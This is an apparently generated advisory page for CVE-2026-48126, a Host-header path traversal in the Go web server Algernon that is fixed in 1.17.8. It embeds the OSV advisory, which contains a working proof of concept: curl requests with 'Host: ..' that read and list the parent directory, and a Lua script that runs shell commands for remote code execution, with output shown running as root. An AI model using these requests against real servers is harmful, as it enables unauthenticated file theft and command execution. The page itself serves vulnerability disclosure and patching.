CVE-2026-48126: Algernon Path Traversal Vulnerability
HIGHCVE-2026-48126 is a HIGH (CVSS 8.2) path traversal vulnerability (CWE-23: Relative Path Traversal) affecting Algernon libraries in the Go ecosystem. The issue involves host header path traversal in --domain mode reads files and runs lua from parent dir. Remediation is available by upgrading affected packages to version 1.17.8.
CVE-2026-48126 at a Glance
Security Impact
CVSS: 8.2
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N).
How to Fix CVE-2026-48126
To remediate this vulnerability, upgrade all affected Algernon dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/xyproto/algernon to 1.17.8
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/xyproto/algernon
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-48126, inspect your project dependencies for Algernon:
inspect dependencies for github.com/xyproto/algernon
Analyze the terminal output to locate any version of Algernon in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.17.8), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-23: Relative Path Traversal, where the product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize sequences such as ".." that can resolve to a location that is outside of that directory. In Algernon, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-48126 Affected Algernon Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/xyproto/algernon
|
Go |
< 1.17.8
|
1.17.8
|
References
Frequently Asked Questions
What is CVE-2026-48126?
Which Algernon versions are affected?
What version fixes CVE-2026-48126?
Is github.com/xyproto/algernon affected?
What is the CVSS score of CVE-2026-48126?
What CWE is associated with CVE-2026-48126?
How can I check Go dependencies for CVE-2026-48126?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-jc3j-x6pg-4hmv",
"modified" : "2026-06-23T21:49:11Z",
"published" : "2026-06-23T21:49:11Z",
"aliases" : [ "CVE-2026-48126" ],
"summary" : "Algernon: Host header path traversal in --domain mode reads files and runs Lua from parent dir",
"details" : "### Summary\n\nWhen algernon is started with `--domain` (or `--letsencrypt`, which silently turns on `--domain` at `engine/flags.go:372`), the request handler resolves the served directory by joining the configured `--dir` with the value of the client-supplied `Host` header. The join is performed by `filepath.Join` with no validation, so a `Host: ..` header walks one level above the document root. Subsequent file resolution then exposes everything in that parent directory — arbitrary file read, full directory listing, and, if any `.lua` file is present, server-side Lua execution. Algernon 1.17.7 and earlier are affected.\n\n### Details\n\n`engine/handlers.go` (function `RegisterHandlers`, around line 510):\n\n```go\nallRequests := func(w http.ResponseWriter, req *http.Request) {\n ...\n servedir := servedir\n if addDomain {\n servedir = filepath.Join(servedir, utils.GetDomain(req)) // <— line 531\n }\n ...\n filename := utils.URL2filename(servedir, urlpath)\n```\n\n`utils/web.go` (`GetDomain`):\n\n```go\nfunc GetDomain(req *http.Request) string {\n host, _, err := net.SplitHostPort(req.Host)\n if err != nil {\n return req.Host // <— Host header returned verbatim\n }\n return host\n}\n```\n\n`utils/files.go` (`URL2filename`) only sanitises the URL path — it never inspects `dirname`:\n\n```go\nfunc URL2filename(dirname, urlpath string) string {\n if strings.Contains(urlpath, \"..\") {\n return dirname + Pathsep // dirname is trusted here\n }\n ...\n}\n```\n\n`engine/flags.go` (auto-enable in CertMagic / Let's Encrypt mode):\n\n```go\nif ac.useCertMagic {\n ...\n ac.serverAddDomain = true // <— line 372\n}\n```\n\nPutting it together:\n\n1. The client sends `Host: ..`. Go's HTTP server accepts the value because `.` is in the URI host whitelist and there are no other characters to validate; `req.Host` is `..`.\n2. `GetDomain` returns `..` (no port, `net.SplitHostPort` fails — fallback path).\n3. `filepath.Join(\"/srv/algernon\", \"..\")` cleans to `/srv`.\n4. `URL2filename(\"/srv\", \"/SECRET.txt\")` returns `/srv/SECRET.txt`, which the handler opens with `FilePage`.\n5. For directory targets, `DirPage` lists the parent — sending `/` after `Host: ..` produces an HTML index of the parent of the docroot.\n6. If a file with a recognised algernon extension (`.lua`, `.tl`, `.po2`, `.amber`, `.frm`, `.md`, ...) is in the parent, the matching renderer runs server-side. `.lua` triggers full Lua execution, including `run3(...)` which calls `exec.Command(\"sh\", \"-c\", command)` (see `lua/run3/run3.go:23`).\n\nMulti-level traversal is blocked at the protocol layer because the Go HTTP parser rejects `/` in the `Host:` value, but a single `..` is enough to step outside the operator's intended docroot — and many operators put scripts, configs, certificates, log files, or sibling sites in `parent(serverDir)`. `--letsencrypt` is the supported way to run algernon as a multi-domain HTTPS server, and it implicitly turns this on without the operator noticing.\n\nThis bug is distinct from the previously-fixed `handler.lua` parent-walk (GHSA-xwcr-wm99-g9jc) — that one used the *handler.lua discovery loop* and walked above `rootdir`; this one stays inside the normal `FilePage` path and rewrites `rootdir` itself through `filepath.Join(servedir, req.Host)`. It is also distinct from the upload `savein()` issue (GHSA-2j2c-pv62-mmcp).\n\n### PoC\n\nBuild the affected version:\n\n```\ngit clone https://github.com/xyproto/algernon\ncd algernon\ngo build -o /tmp/algernon .\n```\n\nReproduce manually:\n\n```\nWORK=$(mktemp -d)\nmkdir -p $WORK/site\necho '<h1>public</h1>' > $WORK/site/index.html\necho 'TOP-SECRET FROM PARENT DIR' > $WORK/SECRET.txt\ncat > $WORK/pwn.lua <<'LUA'\nprint(\"=== RCE ===\")\nlocal out, err, code = run3(\"id; uname -a\")\nfor _,v in ipairs(out) do print(\" \"..v) end\nLUA\n\n/tmp/algernon --httponly --dir $WORK/site --addr :7799 --server -n --domain --nolimit &\nsleep 1\n\n# 1. Arbitrary file read\ncurl -H 'Host: ..' http://127.0.0.1:7799/SECRET.txt\n# -> TOP-SECRET FROM PARENT DIR\n\n# 2. Parent directory listing\ncurl -H 'Host: ..' http://127.0.0.1:7799/ | grep -oP 'href=\"[^\"]+\"' | head\n# -> href=\"/SECRET.txt\", href=\"/pwn.lua\", href=\"/site/\", ...\n\n# 3. Server-side Lua execution (RCE)\ncurl -H 'Host: ..' http://127.0.0.1:7799/pwn.lua\n# -> === RCE ===\n# uid=0(root) gid=0(root) groups=0(root)\n# Linux ...\n```\n\nRecorded output from a real run:\n\n```\n[2] arbitrary file read via Host: ..\n TOP-SECRET FROM PARENT DIR\n\n[3] directory listing of parent via Host: ..\n bytes=1278, links=1\n sample:\n href=\"/alg.log\"\n href=\"/site/\"\n href=\"/SECRET.txt\"\n\n[4] Lua RCE via Host: .. when .lua exists in parent\n === RCE ===\n uid=0(root) gid=0(root) groups=0(root)\n Linux fg0x0 6.6.87.2-microsoft-standard-WSL2 ... x86_64 GNU/Linux\n EXIT=0\n```\n\nSteps 2 and 3 reproduce with default flags (`--domain` alone, or `--letsencrypt` in production). Step 4 additionally requires a `.lua` file in the parent — common when an operator keeps shared scripts alongside the served directory, or when this bug is chained with any prior write primitive.\n\n### Impact\n\n- An unauthenticated remote attacker who can send a single HTTP request with a `Host: ..` header can read arbitrary files in `parent(--dir)` and enumerate that directory.\n- When `--letsencrypt` is used (the recommended way to obtain HTTPS), `--domain` is enabled silently, so any production multi-tenant deployment is exposed without the operator opting in.\n- The chained Lua-RCE path executes shell commands as the algernon process user. In the canonical `--prod` invocation documented in `engine/config.go:208` (`serverDirOrFilename = \"/srv/algernon\"`), the parent is `/srv`; in multi-domain setups the parent often holds sibling site directories and shared `.lua` libraries.\n\n### Suggested fix\n\nReject Host header values that contain `..`, `/`, `\\`, or that resolve outside the configured `serverDirOrFilename`. The simplest patch:\n\n```go\n// engine/handlers.go, where addDomain is consumed\nif addDomain {\n domain := utils.GetDomain(req)\n if domain == \"\" || strings.ContainsAny(domain, \"/\\\\\") || strings.Contains(domain, \"..\") {\n w.WriteHeader(http.StatusBadRequest)\n return\n }\n servedir = filepath.Join(servedir, domain)\n}\n```\n\nA stronger fix when CertMagic is active is to constrain the lookup to the `certMagicDomains` allow-list that `flags.go` already builds.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/xyproto/algernon"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.17.8"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 1.17.7"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/xyproto/algernon/security/advisories/GHSA-jc3j-x6pg-4hmv"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-48126"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/xyproto/algernon"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-22", "CWE-23", "CWE-644" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-06-23T21:49:11Z",
"nvd_published_at" : "2026-05-26T17:16:53Z"
}
}